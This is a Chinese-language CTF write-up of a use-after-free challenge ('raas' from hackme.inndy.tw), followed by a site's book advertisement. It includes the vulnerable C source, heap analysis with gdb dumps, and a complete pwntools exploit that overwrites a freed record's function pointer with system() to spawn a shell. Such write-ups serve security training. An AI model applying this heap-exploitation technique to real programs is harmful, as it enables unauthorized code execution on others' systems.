内容简介:这个题目给了源代码,题目提示是uaf。题目分析,程序有三种操作,添加记录、删除记录,展示记录。其中删除记录中,只是释放了空间,但是指针没有被清空,导致uaf。结构体如下
#include <stdio.h> #include <stdlib.h> #include <unistd.h> struct record { void (*print)(struct record *); void (*free)(struct record *); union { int integer; char *string; }; }; struct record *records[16]; int ask(const char * q) { char buff[32]; printf("%s > ", q); fgets(buff, sizeof(buff), stdin); return atoi(buff); } void rec_int_print(struct record *rec) { printf("Record(Type=Integer, Value=%d)\n", rec->integer); } void rec_str_print(struct record *rec) { printf("Record(Type=String, Value=%s)\n", rec->string); } void rec_int_free(struct record *rec) { free(rec); puts("Record freed!"); } void rec_str_free(struct record *rec) { free(rec->string); free(rec); puts("Record freed!"); } void do_new() { int idx = ask("Index"); if(idx < 0 || idx > 16) { puts("Out of index!"); return; } if(records[idx]) { printf("Index #%d is used!\n", idx); return; } struct record *r = records[idx] = (struct record *)malloc(sizeof(struct record)); r->print = rec_int_print; r->free = rec_int_free; puts("Blob type:"); puts("1. Integer"); puts("2. Text"); int type = ask("Type"); unsigned int len; switch(type) { case 1: r->integer = ask("Value"); break; case 2: len = ask("Length"); if(len > 1024) { puts("Length too long, please buy record service premium to store longer record!"); return; } r->string = malloc(len); printf("Value > "); fgets(r->string, len, stdin); r->print = rec_str_print; r->free = rec_str_free; break; default: puts("Invalid type!"); return; } puts("Okey, we got your data. Here is it:"); r->print(r); } void do_del() { int idx = ask("Index"); records[idx]->free(records[idx]); } void do_dump() { int idx = ask("Index"); records[idx]->print(records[idx]); } int main() { alarm(600); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); puts("Welcome to use my Record-as-a-Service (free plan)"); puts("You can only save Integer or String for 600 seconds"); puts("Pay 1,000,000,000,000,000,000,000,000 bitcoins to buy premium plan"); puts("Here is term of service. You must agree to use this service. Please read carefully!"); puts("================================================================================"); system("cat tos.txt | head -n 30 | sed -e 's/^/ /'"); puts("================================================================================"); while(1) { puts("1. New record"); puts("2. Del record"); puts("3. Show record"); switch(ask("Act")) { case 1: do_new(); break; case 2: do_del(); break; case 3: do_dump(); break; default: puts("Bye~ Thanks for using our service!"); return 0; } } }
Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
分析
这个题目给了源代码,题目提示是uaf。
题目分析,程序有三种操作,添加记录、删除记录,展示记录。其中删除记录中,只是释放了空间,但是指针没有被清空,导致uaf。
结构体如下
struct record { void (*print)(struct record *); void (*free)(struct record *); union { int integer; char *string; }; };
看do_new函数逻辑:
int do_new() { int v1; // eax signed int v2; // [esp+0h] [ebp-18h] int v3; // [esp+4h] [ebp-14h] size_t size; // [esp+Ch] [ebp-Ch] v2 = ask("Index"); if ( v2 < 0 || v2 > 16 ) return puts("Out of index!"); if ( records[v2] ) return printf("Index #%d is used!\n", v2); records[v2] = malloc(0xCu); v3 = records[v2]; *v3 = rec_int_print; *(v3 + 4) = rec_int_free; puts("Blob type:"); puts("1. Integer"); puts("2. Text"); v1 = ask("Type"); if ( v1 == 1 ) { *(v3 + 8) = ask("Value"); } else { if ( v1 != 2 ) return puts("Invalid type!"); size = ask("Length"); if ( size > 0x400 ) return puts("Length too long, please buy record service premium to store longer record!"); *(v3 + 8) = malloc(size); printf("Value > "); fgets(*(v3 + 8), size, _bss_start); *v3 = rec_str_print; *(v3 + 4) = rec_str_free; } puts("Okey, we got your data. Here is it:"); return (*v3)(v3); }
- 先malloc了12字节的堆
- 头4个字节存用于print结构体的函数指针
- 再4个字节存用于free结构体的函数指针
- 如果type是integer,最后四个字节存输入的整数,
- 如果type是string,获取长度,malloc一个指定长度的堆,新malloc的堆的指针存到之前那12字节的最后四个字节里
利用思路:
- new 两个record,delete掉,这里的record类型随意,但是字符的要注意新new的长度不要等于12
- new一个字符串类型的record,长度为12,假设new的两个record是0、1,删除的顺序是0、1,那么这个时候在fastbin的链表里面是 1->0 ,new一个record,存函数指针那个堆复用了1的堆,用来存内容的那个堆是用了0的堆
- 往0那个堆里面写我们想要的东西,再删除0的record,这样就能getshell
调试
进行以下操作:
- new index=1 int 0xff
- new index=2 int 0x88
- delete index=1
- delete index=2
- new index=3 str ‘aaaabbbbccc’
- new index=4 str ‘dddd’
先添加两个整数
gdb-peda$ x /32wx 0x0804c008 0x804c008: 0x0804869e 0x080486de 0x000000ff 0x00000011 0x804c018: 0x0804869e 0x080486de 0x00000088 0x00020fe1
对应是:
地址 print函数指针 free函数指针 整型变量 0x804c008 0x0804869e 0x080486de 0x000000ff
释放掉两个整数的堆:
gdb-peda$ x /32wx 0x0804c008 0x804c008: 0x00000000 0x080486de 0x000000ff 0x00000011 0x804c018: 0x0804c000 0x080486de 0x00000088 0x00020fe1
添加字符串aaaabbbbccc后的堆:
gdb-peda$ x/32wx 0x9a49008 0x9a49008: 0x00000000 0x080486de 0x000000ff 0x00000011 0x9a49018: 0x080486be 0x08048705 0x09a49028 0x00000019 0x9a49028: 0x61616161 0x62626262 0x0a636363 0x00000000 0x9a49038: 0x00000000 0x00020fc9 0x00000000 0x00000000
以看到,输出aaaabbbbccc的时候,占用的就是原来index=1的整数分配的空间。其中aaaa覆盖了print函数的指针,bbbb覆盖了free函数的指针。虽然index=1被释放了,但是指针还在。如果此时再调用do_del来释放index=1的内容,就可以控制EIP了。
exp:
from pwn import * context(arch='i386',log_level='debug') r=process('./raas') # r=remote('hackme.inndy.tw',7719) elf=ELF('./raas') system=elf.symbols['system'] def add(Index,Type,Length,Value): r.sendlineafter("Act > ","1") r.sendlineafter("Index > ",str(Index)) r.sendlineafter("Type > ",str(Type)) if Type==2: r.sendlineafter("Length > ",str(Length)) r.sendlineafter("Value > ",str(Value)) def delete(Index): r.sendlineafter("Act > ","2") r.sendlineafter("Index > ",str(Index)) def show(Index): r.sendlineafter("Act > ","3") r.sendlineafter("Index > ",str(Index)) add(0,1,20,"0000") add(1,1,20,"1111") delete(0) delete(1) # gdb.attach(r) add(2,2,12,'sh\x00\x00'+p32(system)) delete(0) r.interactive()
参考
- https://genowang.github.io/2019/01/01/hackme-inndy-tw-PWN%E7%AC%94%E8%AE%B0/#onepunch
- https://blog.csdn.net/charlie_heng/article/details/78943796
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
大数据技术原理与应用
林子雨 / 人民邮电出版社 / 2015-8-1 / 45.00
大数据作为继云计算、物联网之后IT行业又一颠覆性的技术,备受关注。大数据处不在,包括金融、汽车、零售、餐饮、电信、能源、政务、医疗、体育、娱乐等在内的社会各行各业,都融入了大数据的印迹,大数据对人类的社会生产和生活必将产生重大而深远的影响。 大数据时代的到来,迫切需要高校及时建立大数据技术课程体系,为社会培养和输送一大批具备大数据专业素养的高级人才,满足社会对大数据人才日益旺盛的需求。本书定......一起来看看 《大数据技术原理与应用》 这本书的介绍吧!